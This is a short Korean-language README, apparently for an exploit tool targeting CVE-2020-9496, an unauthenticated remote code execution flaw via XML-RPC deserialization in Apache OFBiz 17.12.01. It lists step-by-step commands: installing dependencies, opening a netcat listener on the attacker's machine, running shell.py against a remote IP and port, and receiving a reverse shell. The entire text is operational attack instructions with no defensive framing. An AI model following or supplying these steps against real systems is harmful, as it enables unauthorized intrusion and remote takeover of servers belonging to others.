CVE-2020-9496

ApacheOfBiz 17.12.01 - 인증되지 않은 원격 코드 실행

XML-RPC 요청은 안전하지 않은 역직렬화에 취약합니다.

단계

1단계:

pip3 install -r requeriments.txt

2단계:

nc -nlvp <port> # 공격자 컴퓨터

3단계:

python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>

4단계:

nc 리스너에서 셸을 확인할 수 있습니다.